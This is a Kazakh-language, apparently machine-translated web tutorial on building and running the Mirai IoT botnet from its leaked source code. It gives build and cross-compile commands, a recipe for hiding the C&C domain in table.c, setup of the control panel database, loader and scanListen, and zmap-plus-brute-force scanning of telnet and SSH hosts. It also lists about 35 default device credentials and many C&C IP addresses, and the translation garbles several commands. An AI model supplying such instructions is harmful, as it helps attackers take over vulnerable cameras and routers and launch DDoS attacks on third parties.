Mirai бастапқы коды. Mirai ботнетін орнату және конфигурациялау. Мирай қалай жұмыс істейді

Негізінде, Mirai қарапайым жұмыс істейді: ол Интернетті сканерлейді, олар телнет арқылы қол жетімді, дөрекі күш пен бұзуға осал IoT құрылғыларын іздейді. Зиянды бағдарлама ең алдымен бақылау камераларын, DVR және маршрутизаторларды зақымдайды, содан кейін құрт сияқты көбейе береді.

Бұл ботнет жақында жасаған және Еуропадағы ең үлкен DDoS шабуылдарынан. Ең жоғары шабуыл қуаты 620 Гб/с және 1 Тб/с-тан астамға жетті. Мұндай нәтижелерге қол жеткізу үшін шабуылдаушылар UDP, DNS және HTTP тасқындарын, сондай-ақ сарапшылар өте ерекше деп таныған GRE (Generic Routing Incapsulation) пакеттерін пайдаланды.

MalwareTech сарапшыларының тұжырымдары әдетте осы ескертулермен келіседі. Осылайша, он екі сағаттық кезеңде зерттеушілер шамамен 72 000 бірегей IP мекенжайларын тіркеді және әр сағат сайын 4 000 жаңа IP пайда болды. Бұдан сарапшылар ботнет өлшемі өте қарапайым деген қорытындыға келді - күніне шамамен 120 000 құрылғы. Ботнет әлдеқайда үлкен және сандар 1-1,5 миллион бот болса да, MalwareTech зерттеушілері де, Akamai мамандары да мұнымен келіспейді.

«Бұрын телнет-шабуылдарының қарапайымдылығына байланысты еленбеген Мираи өткен аптада дүние жүзіндегі БАҚ-тың негізгі талқылау тақырыбына айналды және құқық қорғау органдары көптеген халықаралық компаниялардың қолдауымен тергеу жұмыстарын бастады», - деп жазады зерттеушілер. «Қазір күшті DDoS шабуылдары жиірек болуы әбден мүмкін, өйткені хакерлер барған сайын осал IoT құрылғыларын табады немесе NAT қорғалған құрылғыларды жұқтырады. Өндірушілер жаһандық әдепкі құпия сөздері бар құрылғыларды шығаруды тоқтатып, істің төменгі жағында кездейсоқ жасалған құпия сөздері бар құрылғыларды шығаруға ауысатыны сөзсіз».

Есепке қосымша, MalwareTech зерттеушілері Mirai инфекцияларының картасын көрсететін бейнені тіркеді (төменде қараңыз). Сондай-ақ зерттеушілердің веб-сайтында сіз нақты уақыт режимінде жаңартылатын ботнеттің интерактивті картасын таба аласыз.

Бізге екі VPS KVM сервері және домен қажет болады. Виртуализация осы уақытқа дейін KVM, OpenVZ болып табылады.

Мен мұнда серверлерді аламын -

Бір серверде біз ботнеттің өзін орнатамыз, екіншісінде біз боттарды сканерлейміз. (дөрекі)

МАҢЫЗДЫ. Серверлер Debian 8 негізіндегі болуы және кемінде 1 ГБ жедел жады болуы керек.

Кез келген домен, маңызды емес.

Кешіріңіз, әрине, бірақ мен сізге VPS-ге доменді қалай қосу керектігін айтпаймын. Бұл қиын емес, оны өзіңіз анықтайсыз.

PuTTYжәне біз бастаймыз.

# apt-get жаңарту -y

# apt-get жаңартуы -y

# apt-get орнату unzip gcc golang электрлік қоршау экраны sudo git -y

# apt-get орнату mysql-server -y

# apt-get орнату mysql-client -y

# apt-get орнату apache2 -y

MySQL орнату кезінде түбірлік пайдаланушы үшін MySQL-ге кіру үшін құпия сөз жасау қажет болады. Ешқандай «qwerty» жоқ қалыпты құпия сөзді ойлап табыңыз

Оны бір жерге жазыңыз, бізге әлі де керек болады.

# sudo apt-get орнату curl git mercurial make binutils bison gcc build-essential -y

#бас< <(curl -s -S -L

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

)

# gvm орнату go1.4

# gvm пайдалану go1.4 [--әдепкі]

# gvm орнату go1.4 -B

# gvm go1.4 пайдаланыңыз

# экспорттау GOROOT_BOOTSTRAP=$GOROOT

# gvm орнату go1.5

# gvm go1.5 пайдаланыңыз

# gvm орнату go1.8

# gvm go1.8 пайдаланыңыз

Барлық утилиталарды орнатқаннан кейін бот көздерін жүктеп алыңыз -

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

Және оны серверге жүктеңіз. команда wget, немесе жай ғана бағдарлама арқылы WinSCP.

# мұрағатты ашу Mirai-Source-Code-master.zip

# CD Mirai-Source-Code-Master/mirai/tools

# gcc enc.c -o enc

# ./enc жолы *******(серверге тіркелген доменімізді жазамыз) және Enter пернесін басыңыз.

Мұнда сіз келесі мәтінді көресіз -

XOR 14 байт деректер...

\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22

14 - мұнда сізде басқа нөмір болады, сондықтан алаңдамаңыз, бәрі дұрыс.

Осы мәтіннің барлығын көшіріп алыңыз.

Наноредактор арқылы немесе арқылы ашыңыз WinSCPфайл кесте.cол қалтада mirai/bot

Мұны көру керек -

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

Түзу қосу_енгізу(TABLE_CNC_DOMAIN- тырнақшадағының бәрі біз көшіріп алған мәтінімізге өзгертілді. Орнына " 30 " біз өз нөмірімізді жазамыз, оны да жаңадан көшірдік. Біз жіппен де солай істейміз қосу_енгізу(TABLE_SCAN_CB_DOMAIN

Сақтау және редакторды жабыңыз.

Файлды редактормен ашыңыз mirai/cnc/main.go

Біз оны көреміз -

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

"127.0.0.1" өзгерту "127.0.0.1:3306"

«пароль»бұрын енгізілген MySQL құпия сөзін өзгертіңіз. "

Файлды сақтаңыз және редакторды жабыңыз.

Осы қоқыстың бәрін көшіріп алыңыз, мен сізге бұл не үшін қажет екенін айтпаймын -

# mkdir /etc/xcompile

# CD /etc/xcompile

#wget

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

#wget

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

#wget

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

#wget

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

#wget

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

#wget

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

#wget

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

#wget

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

#wget

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

# tar -jxf кросс-компилятор-armv4l.tar.bz2

# tar -jxf cross-compiler-i586.tar.bz2

# tar -jxf cross-compiler-m68k.tar.bz2

# tar -jxf cross-compiler-mips.tar.bz2

# tar -jxf cross-compiler-mipsel.tar.bz2

# tar -jxf cross-compiler-powerpc.tar.bz2

# tar -jxf cross-compiler-sh4.tar.bz2

# tar -jxf cross-compiler-sparc.tar.bz2

# tar -jxf кросс-компилятор-armv6l.tar.bz2

# rm *.tar.bz2

# mv кросс-компилятор-armv4l armv4l

# mv кросс-компилятор-i586 i586

# mv кросс-компилятор-m68k m68k

# mv кросс-компилятор-mips mips

# mv кросс-компилятор-мипсель мипселі

# mv кросс-компилятор-powerpc powerpc

# mv кросс-компилятор-sh4 sh4

# mv кросс-компилятор-sparc sparc

# mv кросс-компилятор-armv6l armv6l

# экспорттау PATH=$PATH:/etc/xcompile/armv4l/bin

# экспорттау PATH=$PATH:/etc/xcompile/i586/bin

# экспорттау PATH=$PATH:/etc/xcompile/m68k/bin

# экспорттау PATH=$PATH:/etc/xcompile/mips/bin

# экспорттау PATH=$PATH:/etc/xcompile/mipsel/bin

# экспорттау PATH=$PATH:/etc/xcompile/powerpc/bin

# экспорттау PATH=$PATH:/etc/xcompile/powerpc-440fp/bin

# экспорттау PATH=$PATH:/etc/xcompile/sh4/bin

# экспорттау PATH=$PATH:/etc/xcompile/sparc/bin

# экспорттау PATH=$PATH:/etc/xcompile/armv6l/bin

# экспорттау PATH=$PATH:/usr/local/go/bin

# экспорттау GOPATH=$HOME/Documents/go

# github.com/go-sql-driver/mysql сайтына өтіңіз

# github.com/mattn/go-shellwords сайтына өтіңіз

# CD Mirai-Source-Code-master/mirai

# ./build.sh жөндеу telnet

# ./build.sh телнетінің шығарылымы

# mv mirai* /var/www/html

# CD /var/www/html

# mkdir қалталары

#mv*бинс/

Енді MySQL.

# mysql -u root -p

Мұнда сізден пароль сұралады. Бұрын орнатқан құпия сөзді енгізіңіз.

# mirai дерекқорын құру;

#мирайды қолданыңыз

Енді барлық мәтінді осы жерден көшіріңіз -

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

Қою және Enter пернесін басыңыз.

Мәтінді осы жерден көшіріңіз -

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

Орнына анна-сенпайлогиніңізді жазыңыз. Кез келген. myawesomepassword сияқты. Бұл деректер боттың басқару тақтасына кіру үшін қажет болады.

Бұл осылай болуы керек - INSERT INTO VALUES пайдаланушылар (NULL, "pizdec", "zaebalsjapisatj", 0, 0, 0, 0, -1, 1, 30, "");

Көшіру, қою, Enter пернесін басыңыз.

Енді сіз шыға аласыз.

Барлығы дерлік.

# CD Mirai-Source-Code-master/mirai/релиз

# prompt.txt түртіңіз

# экран ./cnc

Белгіні көру керек MySQL DB ашылды

Бұл сеансты жаппаңыз, жаңасын ашыңыз.

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

****** орнына біз өз доменімізді жазып, «Ашу» түймесін басыңыз.

Пайдаланушы аты мен құпия сөзді енгізіңіз, менің жағдайда бұл -

zaebalsjapisatj

Барлығы, біз боттың басқару тақтасындамыз.

Енді бізге боттар керек. Мұнда бәрі қарапайым, орнату қажет емес.

Жүктегішті орнату.

Мәтіндік файлдардан боттарды қосу үшін жүктеуші қажет. Біз көптеген құрылғыларды (маршрутизаторлар, камералар, телефондар) бұздық делік және оларды ботқа қосу үшін бізге жүктеуші керек.

Сондай-ақ жүктегіш - «құрт»

арқылы серверімізге қосылу PuTTY және WinSCP.

WinSCP көмегімен файлды табыңыз негізгі.cқалтада mirai-source-code-master/dlr

Біз серверіміздің IP мекенжайын скриншоттағыдай жазамыз -

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

Біз үтірлерді солай қалдырамыз. Сақтау және жабу.

Енді бірге PyTTYбіздің серверге өтіп, жазыңыз -

# CD Mirai-Source-Code-master/dlr

# chmod 777 *

# ./build.sh

# CD шығарылымы

# mv dlr* ~/Mirai-Source-Code-master/loader/bins

Енді ашайық WinSCPжәне файлды табыңыз негізгі.cқалтада mirai-source-code-master/loader/src

Экрандағыдай IP-ге ауысыңыз -

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

Сақтау және жабу.

арқылы PuTTY -

# ./build.sh

Көмегімен WinSCPфайлды ашыңыз scanListen.goқалтадан табуға болады mirai-source-code-master/mirai/tools

Серверіңіздің IP мекенжайын өзгерту -

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

Содан кейін PyTTY -

# CD Mirai-Source-Code-master/mirai/tools

# scanListen.go құрастыруға өтіңіз

Енді бізде жаңа файл бар - сканерлеу тыңдау(жоқ .go, Жай сканерлеу тыңдау)

сканерлеу тыңдауқалтаға жылжыту керек mirai-source-code-master/loader

Тек пайдалану арқылы WinSCPпапкаға салыңыз тиегіш

Енді бәрі жұмыс істейтінін тексерейік

# ./жүктеуіш

Егер сіз экранда не бар екенін көрсеңіз, онда бәрі дұрыс -

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

Қателер болса тақырыпқа жазыңыз, көмектесемін.

Тізімнен боттарды жүктеп алу үшін біз мәтінді қалтаға тастаймыз тиегішжәне біз пәрменді жинаймыз -

# мысық тізімі.txt | ./loader

Барлығы, сіз бұзған барлық боттар сізбен бірге болады, олар сіздің командаңыз бойынша сайттарды орналастырады.

Өз басым бұл әдісті қолданбадым, жеңіл жолын таптым.

Мұнда бізге екінші сервер қажет. Дәл солай Debian 8.

# apt-get жаңарту -y

# apt-get жаңартуы -y

# apt-get орнату python-paramiko -y

# apt-get орнату zmap -y

zmapпорттарды сканерлеуіміз керек. сияқты жұмыс принципі KPortScan, тек 50 есе жылдамырақ.

Барлық кодты осы жерден көшіріңіз -

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

Және басқаша сақтаңыз scan.py

Мұнда сіз парольдер мен логиндерді қоса аласыз -

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

жол комбоҰстауға болмайды!

Мұнда сізге бот орналасқан сервердің IP мекенжайын тіркеу керек -

Сілтемелерді көру үшін жүйеге кіруіңіз керек.

Барлығын өзгертіп, сақтаңыз.

Біз scan.py файлын сервердің кез келген жеріне лақтырамыз. Екінші серверде, ол тек сканерлеуге арналған, біз ботқа қол тигізбейтін серверде.

Бізге сканерлейтін IP мекенжайлары қажет.

#zmap -p22 -o list.txt -B 100M(басқа порттарды да сканерлеуге болады, мен әрқашан 22 немесе 23 сканерледім)

Барлық нәтижелер файлда болады list.txt

IP файлын жинағаннан кейін (неғұрлым көп болса, соғұрлым жақсы). list.txtфайлдың жанына тастаңыз scan.pyжәне жазу -

# python scan.py list.txt 500

Міне, біз отырамыз және ботнетіміздің қалай өсіп жатқанын бақылаймыз.

Кемінде 200 бот терілгенде, жүктеушіні іске қосуға болады.

Ол үшін ботнет орнатылған серверге өтіңіз және -

# CD Mirai-Source-Code-мастер/жүктеуші

# ulimit -n 9999999

# ./scanListen | ./loader

Енді бот «құрт» сияқты жұмыс істейді және көбірек боттарды аяқтайды.

Өткен аптада қуаты 1 Тбит/с дейінгі рекордтық DDoS шабуылдарында пайдаланылған Mirai ботнетінің құрамдас бөліктерінің көздері желіге ағып кетті.

Өнер. Ресей Федерациясының Қылмыстық кодексінің 273-бабы. Зиянды компьютерлік бағдарламаларды жасау, пайдалану және тарату

1. ЭЕМ ақпаратын рұқсатсыз жоюға, блоктауға, өзгертуге, көшіруге немесе компьютерлік ақпаратты қорғау құралдарын бейтараптандыруға саналы түрде арналған компьютерлік бағдарламаларды немесе басқа да компьютерлік ақпаратты жасау, тарату немесе пайдалану -

төрт жылға дейiнгi мерзiмге бас бостандығын шектеуге, не төрт жылға дейiнгi мерзiмге мiндеттi жұмыстарға тартуға не 200 мың рубльге дейiнгi мөлшерiнде айыппұл салумен сол мерзiмге бас бостандығынан айыруға не сотталған адамның он сегiз айға дейiнгi мерзiмге жалақысы немесе жалақысы немесе өзге де табысы мөлшерiнде жазаланады.

2. Осы баптың 1-тармағында көзделген, алдын ала сөз байласу бойынша адамдар тобы немесе ұйымдасқан топ не адам өзінің қызмет бабын пайдалана отырып жасаған, сол сияқты iрi зиян келтiрген немесе пайдакүнемдiкпен жасалған iс-әрекеттер -

төрт жылға дейiнгi мерзiмге бас бостандығын шектеуге не бес жылға дейiнгi мерзiмге бас бостандығынан айырумен немесе онсыз, жүз мыңнан екі жүз мың рубльге дейiнгi мөлшерiнде айыппұл салумен немесе онсыз бес жылға дейiнгi мерзiмге мәжбүрлеп жұмысқа тартуға не үш жылға дейiнгi мерзiмге үш жылға дейiнгi немесе өзге де табыс мөлшерiнде айыппұл салуға жазаланады.

3. Осы баптың бiрiншi немесе екiншi бөлiктерiнде көзделген әрекеттер, егер олар ауыр зардаптарға әкеп соқса немесе олардың туындау қаупiн тудырса, -

жеті жылға дейінгі мерзімге бас бостандығынан айыруға жазаланады.

Бұл ботнет негізінен камералардан, DVR құрылғыларынан және т.б.

Инфекция өте қарапайым: Интернетте ашық 80/23 (веб/телнет) порттары сканерленеді және қатты кодталған тіркелгілер таңдалады.

Пайдаланушылардың аз бөлігі кірістірілген тіркелгілердің құпия сөздерін өзгертеді (мүмкіндігінше), сондықтан ботнет жаңа құрылғылармен үнемі жаңартылып отырады. Құпия сөзді веб-интерфейс ішінде болған кезде өзгерте алсаңыз, онда құпия сөз және telnet-ке кіру мүмкіндігінің өзі көптеген пайдаланушыларды жасырады.

Ең жиі қолданылатын шоттар:

қосу: жүйе
қабық:sh
админ: админ
түбір: xc3511
түбір:vizxv
түбір: админ
түбір: xmhdipc
түбір: 123456
түбір: 888888
қолдау: қолдау
түбір: 54321
түбір: juantech
түбір:анко
түбір: 12345
админ:
түбір:әдепкі
админ:пароль
түбір: тамыр
түбір:
пайдаланушы: пайдаланушы
админ: smcadmin
түбір: өту
admin:admin1234
түбірі: 1111
қонақ: 12345
түбірі: 1234
түбір: құпия сөз
түбір: 666666
admin: 1111
қызмет: қызмет көрсету
түбір:жүйе
жетекші: жетекші
түбір: klv1234
әкімші: 1234
түбір: ikwb
түбір: Zte521

Қол жеткізуге рұқсат алғаннан кейін командалық орталық жаңа боттың болуы туралы екілік хабарлама алады:

4a 9a d1 d1 = XXX.XXX.XXX.XXX (хост мекенжайы осында болды)
05 = қойынды
17 = 23 (Port 23 Telnet)
05 = қойынды
61 64 6d 69 6e = пайдаланушы аты: admin admin
05= Қойынды
61 64 6d 69 6e = пайдаланушы құпия сөзі: admin

Ботнет компоненттері әртүрлі орталарда жұмыс істеуге арналған, оны анықталған үлгілер дәлелдейді:

mirai.arm
mirai.arm7
mirai.mips
mirai.ppc
mirai.sh4

Қазіргі уақытта C&C серверлері келесі мекенжайларда бекітілген:

103.1.210.27
103.1.210.28
185.130.225.65
185.130.225.66
185.130.225.83
185.130.225.90
185.130.225.94
185.130.225.95
185.70.105.161
185.70.105.164
185.93.185.11
185.93.185.12
200.170.143.5
46.249.38.145
46.249.38.146
46.249.38.148
46.249.38.149
46.249.38.150
46.249.38.151
46.249.38.152
46.249.38.153
46.249.38.154
46.249.38.155
46.249.38.159
46.249.38.160
46.249.38.161
80.87.205.10
80.87.205.11

Ботнет құру нұсқаулары өте қарапайым, мен солай беремін (http://pastebin.com/E90i6yBB көзі):

Бәріңе сәлем,

Мен DDoS индустриясына алғаш барған кезде, мен онда ұзақ тұруды жоспарламадым. Мен өз ақшамды жасадым, қазір IOT-қа қарап жатқан көздер көп, сондықтан GTFO-ға уақыт келді. Дегенмен, мен әр сырғанауды және олардың анасын білемін, бұл олардың qbot-тан басқа бірдеңенің болуы дымқыл арманы.

Сонымен, бүгін менде сіздерге керемет шығарылым бар. Mirai көмегімен мен әдетте тек telnet-тен 380 мың боттарды тартамын. Дегенмен, Kreb DDoS-тен кейін Интернет-провайдерлер баяу жабылып, өз әрекеттерін тазартты. Бүгінгі таңда максималды тарту шамамен 300 мың ботты құрайды және төмендейді.

Сонымен, мен сенің сенпайыңмын, мен сені жақсы көремін, менің хф-чаным.

Менің CNC-ге соғу арқылы бірдеңе істеп жатырмын деп ойлағандардың барлығына мен жақсы күлдім, бұл бот CNC доменін пайдаланады. Барлық боттарға қайта қосылу үшін 60 секунд қажет

Сондай-ақ, осы блог жазбасына malwaremustdie жіберіңіз
http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html
https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html<- backup in case low quality reverse engineer unixfreaxjp decides to edit his posts lol
Сізді қатты құрметтейтінмін, сіз өзіңізді жақсы реверсерлер деп ойладым, бірақ сіз шынымен де бұл екілік жүйені толығымен және толығымен өзгерте алмадыңыз. "Бізде кунг-фу сендерге қарағанда жақсырақ" өтінемін, мені күлдірмеңіздер, сіз көптеген қателіктер жібердіңіз және тіпті менімен әртүрлі екілік файлдарды шатастырдыңыз. қатты күлу

Мен сізге бірнеше шапалақпен қайтаруға рұқсат етіңіз
1) 48101 порты кері қосылу үшін емес, ол бірге жұмыс істейтін боттардың бірнеше даналарының алдын алу үшін басқаруға арналған.
2) /dev/watchdog және /dev/misc «кідіртуге» арналған емес, ол жүйенің ілініп кетуіне жол бермеу үшін. Бұл төмен ілулі жеміс, сондықтан сіз өте мылқаусыз
3) Сіз сәтсіздікке ұшырадыңыз және FAKE_CNC_ADDR және FAKE_CNC_PORT шынайы CNC деп ойладыңыз, lol "Және 65.222.202.53 бойынша HTTP арқылы қосылу үшін бэкдорды жасау". Сіз сигнал ағынына ұшырадыңыз;) қаттырақ сырғанап көріңіз
4) Сіздің қаңқалық құралыңыз ессіз, ол шабуыл дешифраторы «sinden style» деп ойлады, бірақ ол тіпті мәтіндік протоколды пайдаланбайды ма? CNC және бот екілік протокол арқылы байланысады
5) сіз «chroot («/») torlus сияқты болжамды» дейсіз, бірақ сіз түсінбейсіз, басқалары cwd негізінде өлтіреді. Бұл сіздің нақты зиянды бағдарламамен қаншалықты бейтарап екеніңізді көрсетеді. Сырғанақ алаңына оралыңыз

Неліктен кері инженерлік құралдарды жазып жатырсыз? Сіз тіпті бірінші кезекте дұрыс кері қайтара алмайсыз. Басқаларды таң қалдырмас бұрын, алдымен кейбір дағдыларды үйреніңіз. Мылқау кунг-фу сөзіңмен «мені қалай ұрдым» деген тәкаппарлығың мені қатты күлді, SO-ны жеп жатып, арқамнан қағуға тура келді.

Мен мәңгілік еркіндікте болғанымдай, сен де мәңгілікке ортанақтылыққа ұшырайсың.

Талаптар
2 сервер: CNC + mysql үшін 1, сканерлеу қабылдағыш үшін 1 және жүктеу үшін 1+

ОП талаптары
2 VPS және 4 сервер
— Дерекқор сервері үшін өте оқ өткізбейтін хосты бар 1 VPS
- 1 VPS, руткиттелген, сканерлеуші ​​және дистрибьютор үшін
- CNC үшін 1 сервер (400 мың боты бар 2% CPU сияқты пайдаланылады)
- Жүктеуге арналған 3x 10 Гбит/с NForce серверлері (дистрибьютор 3 серверге бірдей таратады)

— CNC байланысын орнату үшін боттар доменді (resolv.c/resolv.h) шешеді және сол IP мекенжайына қосылады
- Боттар qbot жүйесіндегіге қарағанда шамамен 80 есе жылдам және 20 есеге дерлік аз ресурстарды пайдаланатын жетілдірілген SYN сканерін қолданып телнет желісін пайдаланады. Қатаң нәтижені тапқан кезде, бот басқа доменді шешеді және ол туралы хабарлайды. Бұл нәтижелер келгенде құрылғыларға автоматты түрде жүктелу үшін бөлек серверге тізбектелген.
- Бұзылған нәтижелер әдепкі бойынша 48101 портында жіберіледі. Құралдардағы scanListen.go деп аталатын қызметтік бағдарлама дөрекі нәтижелерді алу үшін пайдаланылады (ең жоғары деңгейде секундына шамамен 500 дөрекі нәтижелер алдым). Түзету режимінде құрастырсаңыз, жөндеу қалтасында екілік scanListen утилитасының пайда болуын көруіңіз керек.

Мираи өзін-өзі көрсетуге ұқсас тарату механизмін пайдаланады, бірақ мен оны «нақты уақыттағы жүктеме» деп атаймын. Негізінде, боттар дөрекі нәтижелер, оны нәтижелерді жүктеушіге жіберетін scanListen утилитасы бар тыңдайтын серверге жібереді. Бұл цикл (brute -> scanListen -> load -> brute) нақты уақыттағы жүктеу ретінде белгілі.

Жүктеушіні Linux жүйесінде порттың таусылуын айналып өту үшін бірнеше IP мекенжайын пайдалану үшін конфигурациялауға болады (порттардың шектеулі саны бар, яғни бір уақытта 65 мың шығыс қосылымдарды алу үшін кортежде вариация жеткіліксіз - теорияда бұл мән әлдеқайда аз). Менде 60-70к бір мезгілде шығыс қосылымдары (бір уақытта жүктеу) 5 IP-ге таралатын болар еді.
Боттың (table.c/table.h) ішінде түсініксіз бірнеше конфигурация опциялары бар. ./mirai/bot/table.h ішінде сен істе аласыңконфигурация опциялары үшін көптеген сипаттамаларды табыңыз. Дегенмен, ./mirai/bot/table.c ішінде жұмысқа кірісу үшін өзгерту *керек* бірнеше опциялар бар.

- TABLE_CNC_DOMAIN - Қосылу үшін CNC домендік атауы - DDoS-тан аулақ болу mirai арқылы өте қызықты, адамдар менің CNC-ге кіруге тырысады, бірақ мен оны жаңа IP мекенжайларын табудан тезірек жаңартамын, lol. Кешіккендер :)
- TABLE_CNC_PORT - Қосылатын порт, ол қазірдің өзінде 23-ке орнатылған
- TABLE_SCAN_CB_DOMAIN - Қатаң нәтижелерді тапқан кезде бұл доменге хабарланады
- TABLE_SCAN_CB_PORT - Қатаң нәтижелер үшін қосылатын порт, ол қазірдің өзінде 48101 болып орнатылған.

./mirai/tools ішінде сіз enc.c деп аталатын нәрсені таба аласыз — table.c файлына қоюға болатын нәрселерді шығару үшін мұны компиляциялауыңыз керек.

Мұны mirai каталогында іске қосыңыз

./build.sh жөндеу telnet

Егер сіз оларды конфигурацияламаған болсаңыз, онда кросс-компиляторлардың болмауына қатысты кейбір қателерді аласыз. Бұл жақсы, enc құралын құрастыруға әсер етпейді

Енді ./mirai/debug қалтасында сіз enc деп аталатын құрастырылған екілік файлды көресіз. Мысалы, боттарға қосылу үшін домендік атау үшін түсініксіз жолды алу үшін мынаны пайдаланыңыз:

./debug/enc жолы fuck.the.police.com
Шығару келесідей болуы керек

20 байт деректер XOR жасалуда…
\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22
Мысалы, TABLE_CNC_DOMAIN мәнін жаңарту үшін сол ұзын он алтылық жолды enc құралы қамтамасыз ететін жолға ауыстырыңыз. Сондай-ақ, сіз «20 байт деректер XOR'ing» көресіз. Бұл мән соңғы аргументті жақсы ауыстыруы керек. Мысалы, table.c жолы бастапқыда осылай көрінеді
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
Енді біз enc құралының мәнін білетіндіктен, оны осылай жаңартамыз

add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x2F\x2",); //fuck.the.police.com
Кейбір мәндер жолдар, кейбіреулері порт (желі тәртібінде uint16 / үлкен endian).
CNC КОНФИГУРАСЫ:
apt-get орнату mysql-сервер mysql-клиент

CNC жұмыс істеу үшін дерекқорды қажет етеді. Дерекқорды орнатқан кезде оған кіріп, келесі пәрмендерді орындаңыз:
http://pastebin.com/86d0iL9g

Бұл сізге дерекқор жасайды. Пайдаланушыны қосу үшін

INSERT INTO user VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, ");
Енді ./mirai/cnc/main.go файлына өтіңіз

Осы мәндерді өңдеңіз
const DatabaseAddr жолы = "127.0.0.1"
const DatabaseUser жолы = «түбір»
const DatabasePass жолы = «құпия сөз»
const DatabaseTable жолы = «mirai»
Ақпаратқа mysql серверіжаңа ғана орнатқансыз

Айқас компиляторлар оңай, орнату үшін осы сілтемедегі нұсқауларды орындаңыз. Бұл өзгертулердің күшіне енуі үшін жүйені қайта іске қосу немесе .bashrc файлын қайта жүктеу қажет.

http://pastebin.com/1rRCc3aD
CNC, бот және қатысты құралдар:
http://dopefile.pk/a9f2n9ewk8om
Бот + CNC қалай құрастырылады
Mirai қалтасында build.sh сценарийі бар.
./build.sh жөндеу telnet

Демонизацияланбайтын және оның CNC-ге қосыла алатындығы туралы ақпаратты басып шығармайтын боттың жөндеу екілік файлдарын шығарады, су тасқынының күйі және т.б. ./mirai/debug қалтасына құрастырады
./build.sh шығарылымы telnet

Өндіріске дайын екілік боттарды шығарады, олар құрылғыларға жүктелуі тиіс өте ажыратылған, шағын (шамамен 60K). Барлық екілік файлдарды ./mirai/release қалтасына "mirai.$ARCH" пішімінде құрастырады.

Жүктеуші келесі пішімде STDIN телнет жазбаларын оқиды:
ip:portuser:pass
Ол wget немесе tftp бар-жоғын анықтайды және сол арқылы екілік файлды жүктеп алуға тырысады. Олай болмаса, ол wget ретінде жеткілікті болатын кішкентай екілік файлды (шамамен 1 кб) жаңғыртады.
./build.sh

Жүктегішті құрастырады, оңтайландырылған, өндірістік пайдалану, әбігер жоқ. Егер сізде жүктеу үшін пайдаланылатын пішімдегі файл болса, мұны істеуге болады
catfile.txt | ./loader
Шектеуді ұмытпаңыз!

Түсінікті болу үшін, мен 1-ге 1 анықтамалық оқулықтарды немесе тым көп уақытты ұсынбаймын. Барлық сценарийлер мен барлығы 1 сағаттан аз уақыт ішінде жұмыс істейтін ботнетті орнату үшін қамтылған. Жеке сұрақтарыңыз болса (CNC қалай дерекқорға қосылмайды, мен мұны осылай жасадым) көмектесуге дайынмын, бірақ «Менің ботым қосылмады, оны түзетіңіз» сияқты сұрақтар емес.

Бұл соңғы бірнеше аптада барлығы жазып жүрген троян. Оның көмегімен жасалған ботнеттердің ең әсерлі жетістіктерінің бірі - Африканың шағын елінде терабиттен жоғары қуат.

Бұл үшін ол қанша компьютерді құлдыққа айналдырды?

Ештене етпейді. Немесе, кем дегенде, өте аз. Мақсатты Mirai құрылғылары мүлдем компьютерлер емес, IoT құрылғылары - бейнетіркегіштер, камералар, тостерлер... 3-деңгейдегі Communications статистикасына сәйкес, қазан айының соңына қарай жарты миллионға жуық құрылғы трояндық бақылауда болды.

Ал, ол тоңазытқыштары бар кез келген камераны түсіре ала ма?

Онша емес. Mirai Busybox негізіндегі құрылғыларға арналған - UNIX утилиталарының жеңілдетілген жиынтығы пәрмен жолы, ол ендірілгенде негізгі интерфейс ретінде пайдаланылады операциялық жүйелер. Троян тек ARM, ARM7, MIPS, PPC, SH4, SPARC және x86 сияқты белгілі бір платформаларға шабуыл жасайды. Зауыттық параметрлері бар немесе өте әлсіз қорғанысы бар құрылғылар ғана қауіп төндіреді – инфекция әдепкі әкімші тіркелгі деректерінің тізімі пайдаланылатын Telnet портына дөрекі шабуыл арқылы жүреді.

Бұл әйтеуір тиімсіз болып шықты - Интернеттен парольсіз камераларды іздеу - солай емес пе?

Бірақ олар болжаған жоқ. The Atlantic журналисі серверді жалға алып, тостер болып көрінетін бағдарлама жазды. «Тұрмыстық құрылғыға» бірінші шабуыл 40 минуттан кейін болды! Келесі 11 сағат ішінде тостер 300-ден астам рет бұзылды. Ботнеттер бұрын-соңды болмаған өлшемдерге жетті және IPv4 мекенжай кеңістігі олар үшін өте аз. Сонымен қатар, хакерлер осал құрылғыларды қолмен іздемейтінін есте ұстаған жөн - мұны ботнет мүшелері жасайды. Әр жаңадан түрлендірілген «жұмысшының» өзі де құрбандарды іздей бастағандықтан, ботнет экспоненциалды түрде өсуде.

Геометриялық прогрессияда? Яғни, бір жылдан кейін ботнеттерде триллиондаған құрылғылар болады ма?!

